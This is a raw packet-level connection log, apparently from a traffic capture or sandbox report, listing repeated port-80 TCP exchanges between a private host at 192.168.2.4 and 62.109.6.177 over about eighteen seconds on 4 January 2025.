Jan 4, 2025 13:38:02.131712914 CET	80	50599	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:02.187232018 CET	50599	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:02.262892962 CET	80	50599	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:02.312256098 CET	50599	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:02.385740042 CET	50599	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:02.386317015 CET	50605	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:02.390763998 CET	80	50599	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:02.390811920 CET	50599	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:02.391282082 CET	80	50605	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:02.391345978 CET	50605	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:02.391484022 CET	50605	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:02.396248102 CET	80	50605	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:02.749835968 CET	50605	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:02.754900932 CET	80	50605	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:02.754916906 CET	80	50605	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:02.754925013 CET	80	50605	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:03.075479984 CET	80	50605	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:03.124743938 CET	50605	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:03.206553936 CET	80	50605	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:03.249736071 CET	50605	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:03.324495077 CET	50605	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:03.324783087 CET	50612	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:03.329469919 CET	80	50605	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:03.329535007 CET	80	50612	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:03.329582930 CET	50605	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:03.329612970 CET	50612	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:03.329756975 CET	50612	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:03.334532022 CET	80	50612	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:03.687422991 CET	50612	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:03.692317963 CET	80	50612	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:03.692329884 CET	80	50612	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:03.692338943 CET	80	50612	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:04.019620895 CET	80	50612	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:04.062330961 CET	50612	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:04.150629997 CET	80	50612	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:04.202869892 CET	50612	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:04.278578997 CET	50612	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:04.278670073 CET	49760	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:04.278933048 CET	50622	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:04.283627987 CET	80	50612	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:04.283691883 CET	80	50622	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:04.283756971 CET	50612	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:04.283780098 CET	50622	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:04.283906937 CET	50622	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:04.288651943 CET	80	50622	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:04.640486956 CET	50622	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:04.646447897 CET	80	50622	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:04.646460056 CET	80	50622	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:04.646469116 CET	80	50622	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:04.975538969 CET	80	50622	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:05.015357018 CET	50622	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:05.104202032 CET	80	50622	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:05.155993938 CET	50622	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:05.230976105 CET	50622	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:05.231353998 CET	50628	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:05.236346006 CET	80	50622	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:05.236387968 CET	50622	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:05.236521959 CET	80	50628	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:05.236574888 CET	50628	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:05.236812115 CET	50628	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:05.241534948 CET	80	50628	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:05.593579054 CET	50628	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:05.599404097 CET	80	50628	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:05.599415064 CET	80	50628	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:05.599425077 CET	80	50628	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:05.938158035 CET	80	50628	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:05.986960888 CET	50628	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:06.070344925 CET	80	50628	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:06.125369072 CET	50628	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:06.197860956 CET	50634	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:06.197865963 CET	50628	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:06.202774048 CET	80	50634	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:06.202946901 CET	50634	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:06.202946901 CET	50634	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:06.203167915 CET	80	50628	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:06.203548908 CET	50635	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:06.203603983 CET	50628	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:06.207704067 CET	80	50634	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:06.208379030 CET	80	50635	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:06.208509922 CET	50635	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:06.208509922 CET	50635	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:06.213238955 CET	80	50635	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:06.562374115 CET	50634	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:06.562464952 CET	50635	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:06.567265034 CET	80	50634	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:06.567276955 CET	80	50634	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:06.567285061 CET	80	50634	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:06.567420959 CET	80	50635	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:06.567434072 CET	80	50635	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:06.881405115 CET	80	50634	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:06.921607971 CET	80	50635	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:06.937252998 CET	50634	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:06.968502998 CET	50635	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:07.014628887 CET	80	50634	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:07.015113115 CET	50635	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:07.020134926 CET	80	50635	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:07.020200014 CET	50635	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:07.062257051 CET	50634	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:07.135930061 CET	50634	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:07.136162996 CET	50641	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:07.140877008 CET	80	50634	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:07.140944958 CET	50634	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:07.140983105 CET	80	50641	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:07.141047955 CET	50641	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:07.141153097 CET	50641	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:07.145936966 CET	80	50641	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:07.499865055 CET	50641	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:07.504743099 CET	80	50641	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:07.504755974 CET	80	50641	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:07.504765034 CET	80	50641	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:07.954622984 CET	80	50641	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:07.999747992 CET	50641	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:08.090311050 CET	80	50641	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:08.140373945 CET	50641	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:08.209754944 CET	50641	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:08.214384079 CET	50649	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:08.219333887 CET	80	50649	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:08.219419003 CET	50649	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:08.219494104 CET	50649	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:08.224241972 CET	80	50649	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:08.577984095 CET	50649	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:08.582926035 CET	80	50649	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:08.582937002 CET	80	50649	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:08.582945108 CET	80	50649	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:08.928889990 CET	80	50649	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:08.984133959 CET	50649	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:09.062423944 CET	80	50649	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:09.109371901 CET	50649	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:09.183598995 CET	50649	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:09.183779955 CET	50655	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:09.188654900 CET	80	50649	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:09.188666105 CET	80	50655	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:09.188730001 CET	50649	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:09.188761950 CET	50655	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:09.188891888 CET	50655	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:09.193691969 CET	80	50655	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:09.546694040 CET	50655	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:09.551676989 CET	80	50655	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:09.551688910 CET	80	50655	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:09.551697969 CET	80	50655	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:09.885103941 CET	80	50655	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:09.937347889 CET	50655	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:10.015247107 CET	80	50655	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:10.062338114 CET	50655	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:10.137191057 CET	50662	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:10.142040968 CET	80	50662	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:10.142098904 CET	50662	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:10.142195940 CET	50662	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:10.147325993 CET	80	50662	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:10.499819994 CET	50662	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:10.504688978 CET	80	50662	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:10.504821062 CET	80	50662	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:10.504836082 CET	80	50662	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:10.851274967 CET	80	50662	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:10.905997992 CET	50662	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:10.982305050 CET	80	50662	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:11.030997038 CET	50662	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:11.104203939 CET	50655	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:11.104912996 CET	50662	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:11.105032921 CET	50671	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:11.109807968 CET	80	50662	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:11.109824896 CET	80	50671	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:11.109884977 CET	50662	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:11.109910965 CET	50671	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:11.110016108 CET	50671	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:11.114712954 CET	80	50671	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:11.468640089 CET	50671	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:11.473490953 CET	80	50671	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:11.473507881 CET	80	50671	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:11.473517895 CET	80	50671	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:11.807373047 CET	80	50671	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:11.859129906 CET	50671	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:11.943985939 CET	80	50671	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:11.984245062 CET	50671	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:12.031644106 CET	50671	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:12.031744003 CET	50678	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:12.036613941 CET	80	50678	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:12.036684036 CET	50678	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:12.036716938 CET	80	50671	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:12.036753893 CET	50671	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:12.036782026 CET	50678	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:12.041528940 CET	80	50678	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:12.056678057 CET	50678	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:12.056902885 CET	50679	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:12.061666965 CET	80	50679	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:12.061733007 CET	50679	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:12.061813116 CET	50679	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:12.066565990 CET	80	50679	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:12.103802919 CET	80	50678	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:12.406519890 CET	50679	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:12.411367893 CET	80	50679	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:12.411382914 CET	80	50679	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:12.411391973 CET	80	50679	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:12.516024113 CET	80	50678	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:12.516069889 CET	50678	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:12.821621895 CET	80	50679	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:12.874759912 CET	50679	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:12.950537920 CET	80	50679	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:12.999752998 CET	50679	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:13.073381901 CET	50679	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:13.073540926 CET	50685	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:13.078366995 CET	80	50685	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:13.078378916 CET	80	50679	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:13.078449965 CET	50679	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:13.078560114 CET	50685	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:13.078560114 CET	50685	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:13.083292961 CET	80	50685	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:13.438733101 CET	50685	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:13.443881035 CET	80	50685	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:13.444041967 CET	80	50685	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:13.444053888 CET	80	50685	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:13.761744022 CET	80	50685	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:13.812258005 CET	50685	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:13.891275883 CET	80	50685	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:13.937282085 CET	50685	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:14.026947975 CET	50692	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:14.031780005 CET	80	50692	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:14.031841040 CET	50692	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:14.031949043 CET	50692	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:14.036823988 CET	80	50692	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:14.390501976 CET	50692	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:14.395381927 CET	80	50692	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:14.395395041 CET	80	50692	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:14.395402908 CET	80	50692	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:14.723258018 CET	80	50692	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:14.765402079 CET	50692	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:14.850639105 CET	80	50692	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:14.890409946 CET	50692	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:14.964606047 CET	50685	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:14.968420982 CET	50692	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:14.968641996 CET	50700	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:14.973392963 CET	80	50692	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:14.973450899 CET	50692	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:14.973459959 CET	80	50700	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:14.973543882 CET	50700	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:14.973647118 CET	50700	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:14.978396893 CET	80	50700	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:15.328022003 CET	50700	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:15.332911968 CET	80	50700	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:15.332925081 CET	80	50700	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:15.332932949 CET	80	50700	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:15.666574001 CET	80	50700	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:15.718516111 CET	50700	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:15.796407938 CET	80	50700	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:15.843528032 CET	50700	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:15.916060925 CET	50700	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:15.916228056 CET	50708	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:15.920974016 CET	80	50700	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:15.921010971 CET	80	50708	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:15.921031952 CET	50700	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:15.921077967 CET	50708	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:15.921189070 CET	50708	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:15.925923109 CET	80	50708	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:16.275609970 CET	50708	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:16.280493021 CET	80	50708	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:16.280504942 CET	80	50708	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:16.280514002 CET	80	50708	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:16.610254049 CET	80	50708	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:16.656021118 CET	50708	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:16.738667965 CET	80	50708	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:16.781009912 CET	50708	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:16.856558084 CET	50708	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:16.856822014 CET	50714	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:16.861561060 CET	80	50708	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:16.861609936 CET	50708	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:16.861680984 CET	80	50714	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:16.861742020 CET	50714	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:16.861835957 CET	50714	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:16.866563082 CET	80	50714	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:17.063249111 CET	50714	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:17.063293934 CET	50715	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:17.068129063 CET	80	50715	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:17.068186045 CET	50715	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:17.068278074 CET	50715	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:17.073033094 CET	80	50715	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:17.111809015 CET	80	50714	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:17.182243109 CET	50718	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:17.187046051 CET	80	50718	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:17.187109947 CET	50718	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:17.187289953 CET	50718	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:17.192220926 CET	80	50718	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:17.333729982 CET	80	50714	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:17.333795071 CET	50714	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:17.421767950 CET	50715	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:17.426712990 CET	80	50715	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:17.426729918 CET	80	50715	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:17.546781063 CET	50718	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:17.551647902 CET	80	50718	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:17.551692963 CET	80	50718	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:17.551739931 CET	80	50718	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:17.774264097 CET	80	50715	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:17.827888012 CET	50715	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:17.917299986 CET	80	50718	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:17.924128056 CET	80	50715	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:17.968511105 CET	50718	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:17.968511105 CET	50715	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:18.050724030 CET	80	50718	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:18.093503952 CET	50718	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:18.167373896 CET	50715	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:18.167383909 CET	50718	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:18.167630911 CET	50726	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:18.172434092 CET	80	50715	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:18.172446012 CET	80	50726	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:18.172501087 CET	50715	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:18.172537088 CET	50726	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:18.172651052 CET	50726	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:18.172713041 CET	80	50718	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:18.175007105 CET	50718	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:18.179194927 CET	80	50726	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:18.531157017 CET	50726	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:18.535991907 CET	80	50726	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:18.536003113 CET	80	50726	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:18.536010981 CET	80	50726	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:18.885516882 CET	80	50726	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:18.937280893 CET	50726	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:19.019323111 CET	80	50726	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:19.062398911 CET	50726	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:19.199318886 CET	50733	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:19.204273939 CET	80	50733	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:19.204334974 CET	50733	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:19.424354076 CET	50734	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:19.430361986 CET	80	50734	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:19.430433035 CET	50734	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:19.430558920 CET	50734	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:19.435715914 CET	80	50734	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:19.781125069 CET	50734	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:19.785980940 CET	80	50734	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:19.785995007 CET	80	50734	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:19.786003113 CET	80	50734	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:20.113126040 CET	80	50734	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:20.156013966 CET	50734	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:20.242810011 CET	80	50734	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:20.296631098 CET	50734	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:20.356735945 CET	50726	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:20.357306957 CET	50734	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:20.357566118 CET	50743	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:20.362293959 CET	80	50734	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:20.362353086 CET	50734	80	192.168.2.4	62.109.6.177
Jan 4, 2025 13:38:20.362405062 CET	80	50743	62.109.6.177	192.168.2.4
Jan 4, 2025 13:38:20.362464905 CET	50743	80	192.168.2.4	62.109.6.177
